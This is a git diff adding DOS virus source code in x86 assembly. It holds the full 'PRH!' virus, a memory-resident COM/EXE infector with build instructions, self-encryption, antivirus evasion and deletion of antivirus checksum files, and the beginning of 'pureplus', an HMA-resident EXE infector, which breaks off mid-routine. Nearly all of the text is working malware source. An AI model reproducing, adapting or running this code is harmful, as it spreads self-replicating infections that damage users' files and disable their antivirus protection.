+INT 24h HANDLER: Yes + +RETRO: +kills ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS and AVP.CRC files + +disables VSAFE (just for fun, I know it's quite useless) + +won't infect various AVs (checks first two letters of name) + +doesn't go resident if it detects TBDRIVER in mem and stops infection + if it finds it. + +WINDOWS-COMPATIBLITY: +won't infect windows exe files + +can infect ENUNS com files correctly + +will directly infect the file %windir%\WIN.COM + +PAYLOAD: Yes, it displays a big, red, blinking "PRH!" in the center of the + screen on 27 September of any year. + +FLAWS: infected files packed with EXEPACK will return to DOS with the error + message "Packed file is corrupt." if the virus isn't memory resident, + but they work fine if it is already installed (but only if the virus + modifies the CX register). I have no explanation for this - can anyone + help me please? + +DETECTION: heuristically undetectable for AVP 3.0.128, Dr. Web 3.27, + TBAV 8.08, NOD32 1.15. F-prot 3.04a /PARANOID is so stupid that it + doesn't even find the unencrypted first generation exe, while + f-prot 2.27 /PARANOID finds a "modified variant of Sepultura". + F-Prot - once the best, now the worst. + +ASSEMBLE WITH: + TASM /M5 prah.asm + TLINK prah.asm + +~ + +; *** CONSTANTS ************************************************************* + +viruslength = ((offset virus_end) - (offset start)) +mem_l = ((offset end_mem) - (offset start)) +com_start_l = ((offset end_com_start) - (offset start_for_com)) +encryption_l = ((end_encryption - start_encryption) / 2) +ping = 'pr' +pong = 'h' + +; *** DIRECTIVES ************************************************************ +.model large +dosseg +.stack 4096 +.radix 10 +.186 + +host_seg segment +org 0 + mov ah, 9 ; display message + push cs + pop ds + mov dx, offset message + int 21h + + mov ax, 4C00h ; quit program + int 21h + +message db "Infected with the Prh!-virus", 0Ah, 0Dh, "$" + +host_seg ends + +; ***** CODE **************************************************************** + +virus_seg segment +org 0 +assume cs:virus_seg, ds:virus_seg +start: + pushf + pusha ; SAVE REGISTERS + push ds ; -""- + push es ; -""- + + push cs + pop ds + + mov psp, es ; save psp address in variable + + mov ax, 0135h ; get int vector 1 + xchg ah, al ; prevents thunderbyte's '#'-flag + int 21h + mov int1_segm, es + mov int1_offs, bx + + mov ax, 0125h ; set int vector 1 + mov dx, offset int1_handler ; to DS:DX + xchg ah, al ; prevents thunderbyte's '#'-flag + int 21h + + CALL skip_encryption ;1st generation:will be replaced with: + ; CALL decrypt + +start_encryption: ; Encrypt from here + + mov ax, 2501h ; set int 1 vector back + lds dx, org_int1 + int 21h + + push cs ; DS=CS + pop ds + + ; OPEN TBDRVXXX + mov ax, 3D00h ; open read only + mov dx, offset tbdriver ; DS:DX=Pointer to filename + int 21h + JC no_tbdrv ; if error, no TBDRIVER found => OK + + xchg ax, bx ; handle to bx + mov ah, 3Eh ; Close file again + int 21h ; call dos + JMP return ; get outta here to avoid detection! + +no_tbdrv: + + mov ax, 0FA01h ; disable VSAFE + mov dx, 05945h ; just as a joke... + int 16h + + mov ax, ping ; See if already resident + int 21h + cmp ax, pong + JNE load_virus_into_mem + JMP return +load_virus_into_mem: + + mov ax, 5803h ; use UMBs + mov bx, 1 + int 21h + +retry: + mov ah, 48h ; RESERVE MEMORY + mov bx, (mem_l + 15) / 16 ; virus length in paragraphs + int 21h + + jnc getmem_ok + + mov ax, psp + dec ax + mov es, ax ; let es point to mcb + + mov ah, 4Ah ; change memory size of our mcb + mov bx, es:[3] ; reserved memory size into BX + sub bx, ((mem_l+15)/16)+1 ; sub length of virus in memory + mov es, psp ; set ES to psp address again + int 21h + JMP retry + +getmem_ok: + ; COPY VIRUS CODE + xor si, si ; DS:SI = pointer to source + mov di, si ; ES:DI = pointer to destination + mov es, ax ; AX=segment address of our mem + mov cx, (mem_l + 1) / 2 ; length in words + cld + rep movsw + + ; CHANGE PSP-ADDRESS IN MCB + mov ds, ax ; set DS to our memory block + dec ax ; AX=segment address of our mem + mov es, ax ; AX-1=MCB address + mov word ptr es:[1], 8 ; make it a system area + + mov ax, 3521h ; get interrupt vector 21h + int 21h + mov int21_segm, es ; save vector + mov int21_offs, bx + + mov ax, 2521h ; set interrupt vector 21h to virus + mov dx, offset int21_handler ; DS:DX=pointer to new routine + int 21h + + mov ax, 5803h ; don't use UMBs any more + xor bx, bx + int 21h + +; ----- DIRECT INFECTION ---------------------------------------------------- + mov ds, psp ; restore psp address in ds + + mov bx, 2Ch ; Get enviroment block in ES + mov es, [bx] + xor di, di ; ES:DI=start enviroment block + push cs ; DS=CS + pop ds + xor ax, ax ; al=0 for rep scasb +get_windir_head: + push di ; save momentan position in enviroment + mov si, offset windir ; DS:SI=pointer to "windir=" + mov cx, 7 ; length of "windir=" + rep cmpsb ; compare it + JE windir_found ; found it! + pop di ; restore momentan pos in enviroment + neg cx ; set cx=0FFFFh + repne scasb ; search for value in al (zero) + cmp byte ptr es:[di+1], 0 ; if there's another zero, it's the end + JNE get_windir_head ; otherwise compare next variable + +windir_not_found: + mov ax, 4300h ; Get Attrib (to infect) + push cs + pop ds + mov dx, offset win_path ; assume windir=C:\WINDOWS + int 21h + + JMP short end_getwin + +windir_found: + pop ax ; remove di, we don't need it anymore + + mov si, di ; copy path to buffer + mov di, offset buffer + push es ; DS:SI=source + pop ds + push cs ; ES:DI=destination + pop es + +copy_windir_head: + lodsb ; copy it! + stosb + or al, al + JNZ copy_windir_head ; copy filename till zero + dec di ; we don't want the final zero + mov si, offset win_file ; and copy "\WIN.COM" to the windir + push cs + pop ds + mov cx, 9 ; length of "\WIN.COM", 0 + rep movsb ; copy it! + + mov ax, 4300h ; get attrib (to infect) + mov dx, offset buffer + int 21h + +end_getwin: +; ----- END DIRECT INFECTION ------------------------------------------------ + +return: ; BACK TO HOST PROGRAM + push cs + pop es + + mov ah, 2Ah ; GET DATE + int 21h + cmp dx, 091Bh ; 27.September + JNE no_payload + +; ----- PAYLOAD ------------------------------------------------------------- + mov ax, 1 ; set video mode 40x25 + int 10h + + mov ah, 1 ; remove blinking cursor + mov cx, 0110000000000000b + int 10h + + mov ax, 1300h ; print string + mov bx, 10001100b ; attribute + mov cx, 5 ; length of string + mov dx, 12*100h+17 ; start position + mov bp, offset prah ; ES:BP=offset string + int 10h + +waitkbhitloop: ; wait until user presses some key + mov ah, 1 ; key pressed? + int 16h + JZ waitkbhitloop ; if not, then repeat + + xor ax, ax ; remove key out of keyboard buffer + int 16h + + mov ax, 3 ; set standart 80x25 video mode + int 10h + + mov ah, 1 ; restore regular cursor + mov cx, 0607h + int 10h + +; ----- END PAYLOAD --------------------------------------------------------- + +no_payload: + mov ax, cs + sub ax, entry_segm ; correct far-jump + mov entry_segm, ax + int 3 ; clear prefetch queue + + mov ax, ss ; correct original stack segment + sub ax, orig_ss + mov orig_ss, ax + + pop es ; restore registers + pop ds + popa + inc cx ; this will make EXEPACKed files run, but why?! + popf + + cli ; restore stack + mov ss, cs:orig_ss + mov sp, cs:orig_sp + sti + +entry_point: ; JUMP TO HOST + db 0EAh ; op-code far-jump +entry_offs dw offset start ; offset +entry_segm dw ((SIZE host_seg) + 15)/16 ; segment + +orig_sp dw offset new_sp +orig_ss dw 0 + +restore_com: + pushf ; save register + pusha + + push cs ; set DS:SI to original file start + pop ds + + mov si, offset org_com_start + mov di, 100h ; set ES:DI to entry point + mov cx, com_start_l + cld + rep movsb ; move original start back + + mov ax, es ; relocate far-jump + mov entry_segm, ax + mov entry_offs, 100h + + mov ds, ax ; restore register + popa + popf + + JMP SHORT entry_point ; jumpt to far-jump + +; ***** STRING CONSTANTS **************************************************** + +db 0, "This is the [" +prah db "PRH!] virus, written and (c) by Black Jack, 1999", 0 + +anti_vir_dat db "ANTI-VIR.DAT", 0 +chklist_ms db "CHKLIST.MS", 0 +chklist_cps db "CHKLIST.CPS", 0 +avp_crc db "AVP.CRC", 0 + +tbdriver db "TBDRVXXX", 0 + +dont_infect db "AVDRTBF-FINOSC" + +win_path db "C:\WINDOWS" +win_file db "\WIN.COM", 0 +windir db "windir=" + +; ***** ROUTINES ************************************************************ + +; ----- INT 24h HANDLER ----------------------------------------------------- + +int24_handler: + sti + mov ax, 3 + iret + +; ----- END INT 24h HANDLER ------------------------------------------------- + +; ----- INT 21h HANDLER ----------------------------------------------------- + +int21_handler: + cmp ax, ping ; Are-you-there function + JNE not_see_if_there + mov ax, pong + IRET + +not_see_if_there: + cmp bx, "JB" ; to avoid endless recursions + JE exit_hook + + xchg ax, bx + cmp bh, 4Bh ; EXEC-function + xchg ax, bx + JNE not_exec + CALL infect +not_exec: + xchg ax, bx + cmp bh, 3Dh ; open file + xchg ax, bx + JNE not_open + CALL infect +not_open: + cmp ah, 43h ; get/set attribs + JNE not_attr + CALL infect +not_attr: + cmp ah, 56h ; rename/move file + JNE not_rename + CALL infect +not_rename: + cmp ah, 6Ch ; extended file-open + JNE exit_hook + xchg dx, si ; this function wants the filename in + call infect ; DS:SI + xchg dx, si +exit_hook: + JMP dword ptr CS:[org_int21] + +; ----- END HOOK ------------------------------------------------------------ + +infect: ; INFECTION ROUTINE + pusha ; save registers + push ds + push es + mov cs:fn_offs, dx + mov cs:fn_segm, ds + + mov ah, 2Fh ; save old dta addres + int 21h + push es ; save old dta address to stack + push bx + + push ds ; save DS:DX (pointer to filename) + push dx + + mov ah, 1Ah ; set new dta address + mov dx, offset dta ; DS:DX=pointer to new dta + push cs + pop ds + int 21h + + pop dx ; restore DS:DX (pointer to filename) + pop ds + + mov ah, 4Eh ; call findfirst function + mov cx, 0000000000100111b ; CX = attrib + int 21h + + pop dx ; get old dta address from stack + pop ds + + mov ah, 1Ah ; set dta back + int 21h + + push cs ; DS = CS + push cs ; ES = CS + pop ds + pop es + + ; OPEN TBDRVXXX + mov ax, 3D00h ; open read only + mov dx, offset tbdriver ; DS:DX=Pointer to filename + mov bx, "JB" ; avoid endless recursions + int 21h + JC no_tbdrv_res ; if error, no TBDRIVER found => OK + + xchg ax, bx ; handle to bx + mov ah, 3Eh ; Close file again + int 21h ; call dos + JMP exit_before_open ; get outta here to avoid detection! + +no_tbdrv_res: + + mov ax, 0FA01h ; Disable VSAFE + mov dx, 05945h ; just a joke... + int 16h + + mov cx, 13 ; search file name for extension + mov di, offset fname + mov al, "." + cld + repne scasb ; search for the dot + cmp word ptr [di], "OC" ; .COM - file? + JNE extention_exe + cmp byte ptr [di+2], "M" + JE extention_ok +extention_exe: ; .EXE - file? + cmp word ptr [di], "XE" + JNE exit_before_open + cmp byte ptr [di+2], "E" + JNE exit_before_open + +extention_ok: + ; TEST FOR AV FILENAMES + cld + mov ax, word ptr [offset fname] + mov cx, 7 + mov di, offset dont_infect + repne scasw + JNE no_av + +exit_before_open: + JMP end_infect +no_av: + + mov cx, time ; see if already infected + and cx, 0000000000011111b ; we're only interested in the seconds + cmp cx, 1111b ; seconds = 30 ? + JE exit_before_open ; if so, it's already infected + or time, 0000000000001111b ; otherwise make the seconds=30 + and time, 1111111111101111b + + mov ax, 3524h ; Get int vector 24h + int 21h + mov int24_segm, es ; save vector + mov int24_offs, bx + + mov ax, 2524h ; set int vector 24h to our routine + mov dx, offset int24_handler ; DS:DX=pointer to new routine + int 21h + + lds dx, filename ; DS:DX=Pointer to filename + + ; CLEAR ATTRIBUTES + mov ax, 4301h ; DOS set attributes function + mov bx, "JB" ; to avoid endless recursion + xor cx, cx ; clear all attributs + ; DS:DX=pointer to filename + int 21h ; Call DOS function + JNC clear_attrib_ok ; go on if no error + JMP restore_int24h ; quit if error (write protected disk) +clear_attrib_ok: + + ; OPEN FILE + mov ax, 3D02h ; AH=FktNr; AL: read & write + mov bx, "JB" ; to avoid endless recursions + ; DS:DX=pointer to filename + int 21h + JNC no_error_at_open ; carry-flag set -> Error -> End + JMP end_infect +no_error_at_open: + xchg bx, ax ; handle to BX + + push cs + push cs + pop ds + pop es + + ; READ EXE-HEADER + mov ah, 3Fh + mov cx, end_header - header ; read header size + mov dx, offset header ; DS:DX=pointer to buffer + int 21h + + mov ax, word ptr [offset filelength]; CALCULATE Size_of_crap + not ax ; to size mod 16 = 0 + and ax, 1111b + add ax, 17 ; inc + 16d (compatiblity to very small COMs) + mov size_of_crap, ax ; save in size_of_crap + + cmp exe_id, "ZM" ; EXE-FILE? + JE exe_file ; go to the correct infection routine + cmp exe_id, "MZ" + JE exe_file + JMP infect_com + +; ----- EXE FILE INFECTION -------------------------------------------------- + +exe_file: + cmp relocate, 40h ; windows exe? + JNE no_windows_exe +header_not_ok: + JMP close +no_windows_exe: + + mov ax, word ptr [offset filelength]; overloaded exe? + mov dx, word ptr [offset filelength+2] + CALL calculate_header_size + cmp ax, length_m + JNE header_not_ok + cmp dx, length_d + JNE header_not_ok + + ; CHANGE ENTRY POINT TO VIRUS + mov ax, word ptr [offset filelength]; file length in DX:AX + mov dx, word ptr [offset filelength+2] + add ax, size_of_crap ; add padding bytes + shr ax, 4d ; filesize div 16 + shl dx, 12d + add ax, dx + sub ax, head ; sub size of header + + mov dx, ax ; DX = AX (new code segment) + sub dx, code_seg ; calculate difference to old CS + mov entry_segm, dx ; save in far-jump + mov cx, ip_start ; save originial start IP + mov entry_offs, cx + mov code_seg, ax ; write new start CS to header + mov ip_start, offset start ; write new start IP to header + + ; Same stuff for stack + inc ax ; SS = CS + 1 to avoid TBAV's K flag + mov dx, ax ; DX = AX (new stack segment) + sub dx, stack_seg ; calculate difference to old SS + mov orig_ss, dx ; save it + mov cx, sp_start ; save original start SP + mov orig_sp, cx + mov stack_seg, ax ; write new start SS to header + mov sp_start, offset new_sp ; write new start SP to header + + ; change file size in header + mov ax, word ptr [offset filelength]; set DX:AX to filelength + mov dx, word ptr [offset filelength+2] + + mov cx, viruslength ; CX = lenght of virus + padding size + add cx, size_of_crap + add ax, cx ; add it to low word of filesize + adc dx, 0 ; add remainer to hi high word + + CALL calculate_header_size + + mov length_m, ax ; save new size in exe header + mov length_d, dx + + mov writelength, viruslength ; viruslength without enuns + +;------ WRITE VIRUS TO FILE ------------------------------------------------- + +continue_infection_for_both_exe_and_com: + + mov ax, 4202h ; set filepointer to end of file + xor cx, cx + mov dx, size_of_crap + int 21h + + CALL encrypt ; encrypt, write and decrypt + + mov ax, 4200h ; set filepointer to start of file + xor cx, cx + mov dx, cx + int 21h + + mov ah, 40h ; write new header to file + mov cx, end_header - header ; write header size + mov dx, offset header ; DS:DX = pointer to buffer + int 21h + + mov ax, 5701h ; restore old date/time + mov dx, date ; old date + mov cx, time ; old time + int 21h + + push bx ; save handle + + ; KILL AV CRC FILES + cld ; go forwards + lds si, filename ; DS:SI=pointer to filename + mov di, offset buffer ; ES:DI=destination buffer + xor cx, cx +copy_path_head: + lodsb ; copy filename till zero + stosb + inc cx + or al, al + JNZ copy_path_head ; copy filename till zero + dec di ; set di to the last byte of the name + + push cs ; DS=CS + pop ds + + std ; go backwards + mov al, '\' ; search for backslash + repne scasb ; search for end of path + JE found_backslash + mov di, (offset buffer)-2 +found_backslash: + inc di ; set di to first byte of filename + inc di + + push di ; save start of filename + push di + push di + + mov si, offset anti_vir_dat ; kill Anti-Vir.dat file! + call do_it + pop di + mov si, offset chklist_ms ; kill Chklist.ms file! + call do_it + pop di + mov si, offset chklist_cps ; kill Chklist.cps file! + call do_it + pop di + mov si, offset avp_crc ; kill Avp.crc file! + call do_it + + pop bx ; restore handle + +close: + mov ah, 3Eh ; close file + int 21h + + mov ax, 4301h ; restore attributes + mov bx, "JB" ; to avoid endless recursion + xor ch, ch + mov cl, attrib ; CX=attributes to set + lds dx, filename ; DS:DX=pointer to filename + int 21h ; execute DOS function + +restore_int24h: ; RESET INTERRUPT VECTOR 24h + mov ax, 2524h ; AH=fnct. number; AL= int number + lds dx, org_int24 ; DS:DX=Pointer to new routine + int 21h ; DOS-function + +end_infect: + pop es ; restore registers + pop ds ; -""- + popa ; -""- + RET ; back to caller + + +do_it: ; KILL AV CRC FILES + mov cx, 13d ; copy filename in buffer + cld + rep movsb + + ; SET ATTRIBUTES ZERO + mov ax, 4301h ; dos set attributes function + mov bx, "JB" ; to avoid endless recursion + xor cx, cx ; CX=attributes to set + mov dx, offset buffer ; DS:DX=pointer to filename + int 21h ; execute DOS function + JC file_not_there + + ; DELETE IT! + mov ah, 41h ; dos function number + mov dx, offset buffer ; DS:DX=buffer for file to be killed + int 21h ; execute dos function + +file_not_there: + RET ; back to caller + + +calculate_header_size: + ; Input: AX=low word/DX=high word of size + ; Return: AX=size mod 512; DX= size div 512 + + mov cx, ax ; CX = AX + shr cx, 9d ; CX = CX div 512 + shl dx, 7d ; DX = (DX * 10000h) div 512 + add dx, cx ; DX = new filelength div 512 + and ax, 0000000111111111b ; AX = new filelength mod 512 + JZ exit_calculation + inc dx ; round it up +exit_calculation: + RET + + +infect_com: + ; SET FILEPOINTER TO ENUNS + mov ax, 4202h ; move file pointer relative to end + ; BX already contains handle + mov cx, -1 ; CX:DX = -7 (Offset relative to end) + mov dx, -7 + int 21h ; Do it! + + mov ah, 3Fh ; read enuns into a buffer + ; BX already contains file-handle + mov cx, 7 ; Length of enuns + mov dx, offset enuns ; DS:DX=Pointer to buffer + int 21h ; Call DOS function + + mov ax, viruslength+7 ; add viruslength to enuns word + mov writelength, ax ; how many bytes to write (plus enuns) + add ax, size_of_crap + add word ptr [enuns+5], ax + + mov si, offset header ; save original beginning of com file + mov di, offset org_com_start + mov cx, com_start_l + cld + rep movsb + + mov dx, word ptr [offset filelength]; filelength into dx + shr dx, 4 ; convert to paragraphs + add dx, 12h ; add org 100h+fill bytes to segment + mov com_seg, dx ; write to far-jump + + xor ax, ax + mov entry_offs, offset restore_com ; Relocate Far Jump + mov entry_segm, ax + mov orig_sp, 0FFFEh + mov orig_ss, ax + + mov si, offset start_for_com ; copy new start code for com file + mov di, offset header + mov cx, com_start_l + cld + rep movsb + + JMP continue_infection_for_both_exe_and_com + +start_for_com: + and al, 20h ; TBSCAN won't analyze COM files starting with this + mov ax, cs ; Relocate far Jump + add word ptr DS:[offset com_seg - offset start_for_com + 100h], ax + int 3 ; clear prefetch queue + xor ax, ax + + db 0EAh ; OP-Code far Jump + dw 0 ; Offset +com_seg dw 0 ; Segment +end_com_start: + +org_com_start db (end_com_start - start_for_com) dup (?) + +; ----- ENCRYPTION ROUTINE -------------------------------------------------- + +encrypt: ; Encrypt & write to file + + xor ax, ax ; bios get time function + int 1Ah ; call the BIOS! + mov decrypt_key, dx ; DX contains low word of time counter + mov encrypt_key, dx ; and this is our key + xor dx, encrypt_add ; different key for add + mov encrypt_add, dx ; store key + neg dx ; change sign + mov int1_decrypt_add, dx ; store key + mov si, offset start_encryption + mov cx, encryption_l + JMP short end_encryption ; clear prefetch queue +end_encryption: ; encrypt until this label + +encryption_loop: + + mov ax, [si] ; get word to be encrypted in AX + db 05h ; ADD AX, imm16 + encrypt_add dw 0C001h ; Key + db 35h ; XOR AX, imm16 + encrypt_key dw 0 ; Key + xchg ah, al ; Exchange encryption + mov [si], ax ; Move encrypted word back in memory + inc si ; let SI point to the next word + inc si + LOOP encryption_loop + + mov ah, 40h ; write virus to file + ; BX holds already the handle + mov cx, writelength ; virus-length to write + cwd ; DS:DX=Pointer to Buffer + pushf ; Call DOS-function + CALL dword ptr org_int21 ; simulate interrupt call + + mov ax, int1_decrypt_add + mov decrypt_add, ax + + ; and now decrypt it again... + + JMP short over_int1 + +; ----- END ENCRYPT --------------------------------------------------------- + +; ----- DECRYPTION ROUTINE -------------------------------------------------- + +decrypt: ; Decrypt routine + + db 0F1h ; undocumented int 1 op-code +over_int1: + mov si, offset start_encryption + mov cx, encryption_l + +decryption_loop: + mov ax, [si] ; Get word to be decrypted in AX + xchg ah, al ; XCHG Decryption + db 35h ; XOR ax, imm16 + decrypt_key dw 0 ; Key + db 05h ; ADD ax, imm16 + decrypt_add dw 0 ; Key + mov [si], ax ; Move decrypted word back in memory + inc si ; let SI point to the next word + inc si + LOOP decryption_loop ; Repeat it! + + RET ; Back to caller + +; ----- END DECRYPT -------------------------------------------------------- + +int1_handler: + dw 06C7h ; op-code mov [decrypt_add], int1_decrypt_add + dw offset decrypt_add +int1_decrypt_add dw 0 ; decryption key + iret + +virus_end: ; Lenght to write + +enuns db "ENUNS", 0, 0 + +; *** DATA ****************************************************************** + +writelength dw ? ; how many bytes must be written? + +header: ; EXE-header +exe_id dw ? +length_m dw ? +length_d dw ? +segments dw ? +head dw ? +mini_para dw ? +maxi_para dw ? +stack_seg dw ? +sp_start dw ? +crc dw ? +ip_start dw ? +code_seg dw ? +relocate dw ? +end_header: + +dta: +reserved db 21 dup(?) +attrib db ? +time dw ? +date dw ? +filelength dd ? +fname db 13 dup (?) + +filename EQU this dword +fn_offs dw ? +fn_segm dw ? + +org_int1 EQU this dword +int1_offs dw ? +int1_segm dw ? + +org_int21 EQU this dword +int21_offs dw ? +int21_segm dw ? + +org_int24 EQU this dword +int24_offs dw ? +int24_segm dw ? + +psp dw ? + +size_of_crap dw ? + +buffer db 80 dup (?) + +end_mem: + +dw 256d dup (?) +EVEN ; we want an even stack +new_sp: + + +skip_encryption: ; Only for first generation + sub word ptr [start_encryption - 2], skip_encryption - decrypt + RET + +virus_seg ends + +end start diff --git a/p/pureplus.asm b/p/pureplus.asm new file mode 100755 index 0000000..cfe75c4 --- /dev/null +++ b/p/pureplus.asm @@ -0,0 +1,508 @@ +cseg segment para public 'code' +pureplus proc near +assume cs:cseg + +;----------------------------------------------------------------------------- + +;designed by "Q" the misanthrope. + +;----------------------------------------------------------------------------- + +.186 + +ALLOCATE_HMA equ 04a02h +CLOSE_HANDLE equ 03e00h +COMMAND_LINE equ 080h +COM_OFFSET equ 00100h +CRITICAL_INT equ 024h +DENY_NONE equ 040h +DONT_SET_OFFSET equ 006h +DONT_SET_TIME equ 040h +DOS_INT equ 021h +DOS_SET_INT equ 02500h +EIGHTEEN_BYTES equ 012h +ENVIRONMENT equ 02ch +EXEC_PROGRAM equ 04b00h +EXE_SECTOR_SIZE equ 004h +EXE_SIGNATURE equ 'ZM' +FAIL equ 003h +FAR_INDEX_CALL equ 01effh +FILENAME_OFFSET equ 0001eh +FILE_OPEN_MODE equ 002h +FIND_FIRST equ 04e00h +FIND_NEXT equ 04f00h +FIRST_FCB equ 05ch +FLUSH_BUFFERS equ 00d00h +FOUR_BYTES equ 004h +GET_DTA equ 02f00h +GET_ERROR_LEVEL equ 04d00h +HARD_DISK_ONE equ 081h +HIDDEN equ 002h +HIGH_BYTE equ 00100h +HMA_SEGMENT equ 0ffffh +INT_13_VECTOR equ 0004ch +JOB_FILE_TABLE equ 01220h +KEEP_CF_INTACT equ 002h +KEYBOARD_INT equ 016h +MAX_SECTORS equ 078h +MULTIPLEX_INT equ 02fh +NEW_EXE_HEADER equ 00040h +NEW_EXE_OFFSET equ 018h +NULL equ 00000h +ONLY_READ equ 000h +ONLY_WRITE equ 001h +ONE_BYTE equ 001h +OPEN_W_HANDLE equ 03d00h +PARAMETER_TABLE equ 001f1h +READ_A_SECTOR equ 00201h +READ_ONLY equ 001h +READ_W_HANDLE equ 03f00h +REMOVE_NOP equ 001h +RESET_CACHE equ 00001h +RESIZE_MEMORY equ 04a00h +SECOND_FCB equ 06ch +SECTOR_SIZE equ 00200h +SETVER_SIZE equ 018h +SHORT_JUMP equ 0ebh +SIX_BYTES equ 006h +SMARTDRV equ 04a10h +SYSTEM equ 004h +SYS_FILE_TABLE equ 01216h +TERMINATE_W_ERR equ 04c00h +THREE_BYTES equ 003h +TWENTY_HEX equ 020h +TWENTY_THREE equ 017h +TWO_BYTES equ 002h +UNINSTALL equ 05945h +UN_SINGLE_STEP equ not(00100h) +VERIFY_3SECTORS equ 00403h +VOLUME_LABEL equ 008h +VSAFE equ 0fa01h +WRITE_A_SECTOR equ 00301h +WRITE_W_HANDLE equ 04000h +XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE +PURE_CODE_IS_AT equ 00147h + +;----------------------------------------------------------------------------- + +bios_seg segment at 0f000h ;just some dummy area that was needed + org 00000h ;to have the compilier make a far jmp +old_int_13_addr label word ;directive EAh later on +bios_seg ends + +;----------------------------------------------------------------------------- + + org COM_OFFSET ;com files seem to always start here +com_code: + +;----------------------------------------------------------------------------- + + jmp short disable_vsafe + +;----------------------------------------------------------------------------- + +dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT + dw NULL,NULL,NULL,NULL,NULL,TWENTY_HEX + ;simple EXE header that we have imbedded the virii into + +;----------------------------------------------------------------------------- + + org PURE_CODE_IS_AT ;here because many exe files have 00's after this location + +;----------------------------------------------------------------------------- + +ax_cx_di_si_cld proc near ;sets varables for modifying sector + mov di,bx ;ES:BX is int 13 sector set di to bx + add di,PURE_CODE_IS_AT-COM_OFFSET +ax_cx_si_cld: call set_si ;get location of code in HMA +set_si: pop si ;and subtract the offset + sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld) + mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT + mov ax,XOR_CODE ;ah is value to xor MZ to jmp 015C + das ;set zero flag for the compare later on + cld ;clear direction + ret +ax_cx_di_si_cld endp + +;----------------------------------------------------------------------------- + + org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET + ;must be here because the MZ 4Dh,5Ah + ;.EXE header identifier gets changed to + ;jmp 015C EAh,5Ah by changing one byte + +;----------------------------------------------------------------------------- + +disable_vsafe proc near ;while we are here lets allow other virii + mov dx,UNINSTALL ;it sure is nice to have a simple + mov ax,VSAFE ;call to do this + int KEYBOARD_INT +disable_vsafe endp + +;----------------------------------------------------------------------------- + +alloc_memory proc near ;clear disk buffers so reads are done + mov ah,high(FLUSH_BUFFERS) + int DOS_INT ;from disk and not from memory + xor di,di ;set it to zero + mov ds,di ;to set the DS there + mov bh,high(SECTOR_SIZE) + dec di ;now set it to FFFFh + mov ax,ALLOCATE_HMA ;lets see how much memory is available + int MULTIPLEX_INT ;in the HMA - ES:DI points to begining + mov ax,SMARTDRV ;lets flush smartdrv as well for maximum + mov bx,RESET_CACHE ;infection. it sure is nice to have + int MULTIPLEX_INT ;a simple call to do this + mov bl,SIX_BYTES ;for setting int 1 to tunnel + inc di ;if dos <5.0 or no HMA di is FFFFh + jz find_name ;if no memory don't install + call ax_cx_si_cld ;get varables for copy to HMA + rep movs byte ptr es:[di],cs:[si] +alloc_memory endp ;then copy it to ES:DI in HMA + +;----------------------------------------------------------------------------- + +set_int_13 proc near ;setting int 1 vectors for tunnelling + mov ax,offset interrupt_one + xchg word ptr ds:[bx-TWO_BYTES],ax + push ax ;great way to set interrupts + push word ptr ds:[bx];just push them on the stack for latter + mov word ptr ds:[bx],cs + xchg cx,di ;cx was 0, di was last byte of HMA code + mov dl,HARD_DISK_ONE;doesn't really matter which drive + pushf ;save the flags with TF cleared + pushf ;push flags for simulated int 13 call + pushf ;push flags for setting TF + mov bp,sp ;get the stack pointer + mov ax,VERIFY_3SECTORS + or byte ptr ss:[bp+ONE_BYTE],al + popf ;set TF and direction and call int 13 + dw FAR_INDEX_CALL,INT_13_VECTOR + popf ;restore flags + pop word ptr ds:[bx];and int 1 vectors back + pop word ptr ds:[bx-TWO_BYTES] +set_int_13 endp ;now int 13 has our code hooked into it + +;----------------------------------------------------------------------------- + +find_name proc near ;now lets find out who we are to reload + mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES] +look_for_nulls: inc bx ;ourselves to see if we are cleaned on the fly + cmp word ptr ds:[bx-FOUR_BYTES],di + jne look_for_nulls ;the plan is to goto the end of our +find_name endp ;environment and look for 2 nulls + +;----------------------------------------------------------------------------- + +open_file proc near ;open current program and read header + push ds ;to see if the header was restored back + push bx ;save the program name on the stack + mov ch,THREE_BYTES ;read in 768 bytes of header + call open_n_read_exe ;open, read cx bytes, close file ds:bx + push cs ;set es to cs for compare of sector + pop es ;to infected sector + mov bx,dx ;get varables set correctly for compare + call convert_back ;compare them and convert them back + pop dx ;get file name again + pop ds + jne now_run_it ;if int 13 converted it back then run it + push ds ;else save file name again on stack + push dx + mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ + call call_dos ;open current program for reads (don't set any alarms) + push bx ;save handle + int MULTIPLEX_INT ;get job file table for handle + mov dx,SYS_FILE_TABLE + xchg ax,dx ;done like this for anti TBAV hueristic scan + mov bl,byte ptr es:[di] + int MULTIPLEX_INT ;get SFT of handle to change ES:DI + pop bx ;get handle again + mov ch,high(SECTOR_SIZE) + mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE + cmpsw ;simple code to change open file to + stosb ;write back the cleaned header to file + mov dx,offset critical_error+COM_OFFSET + int DOS_INT ;this cleans the file if virii didn't load in HMA + or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME + call reclose_it ;set SFT to not change file date and time at close + pop dx ;get file name again from the stack + pop ds +open_file endp + +;----------------------------------------------------------------------------- + +now_run_it proc near ;setup the exec of current program again + push cs ;like a spawned file + pop es ;es now cs + mov bx,offset exec_table + mov ah,high(RESIZE_MEMORY) + int DOS_INT ;first resize memory + mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE + xchg bx,si ;set si to where the table varables are + mov di,bx ;set di to where 14 byte exec table is to be made + mov ax,EXEC_PROGRAM ;set ax for file execute +set_table: scasw ;advance 2 bytes in destination table + movs byte ptr es:[di],cs:[si] + scasb ;move a byte then check if next byte is nonzero + mov word ptr cs:[di],cs + je set_table ;fill in the code segment into table and jmp if still zero + call call_dos ;exec program again + mov ax,FIND_FIRST ;need to infect more EXE files + mov dx,offset exe_file_mask + mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL +find_next_file: call call_dos ;set cx to 15 to loop that many times + mov ah,high(GET_DTA);what was the old dta no need to set up a new one + int DOS_INT ;get it + add bx,FILENAME_OFFSET + push es ;get the filename into ds:bx + pop ds + call open_n_read_exe 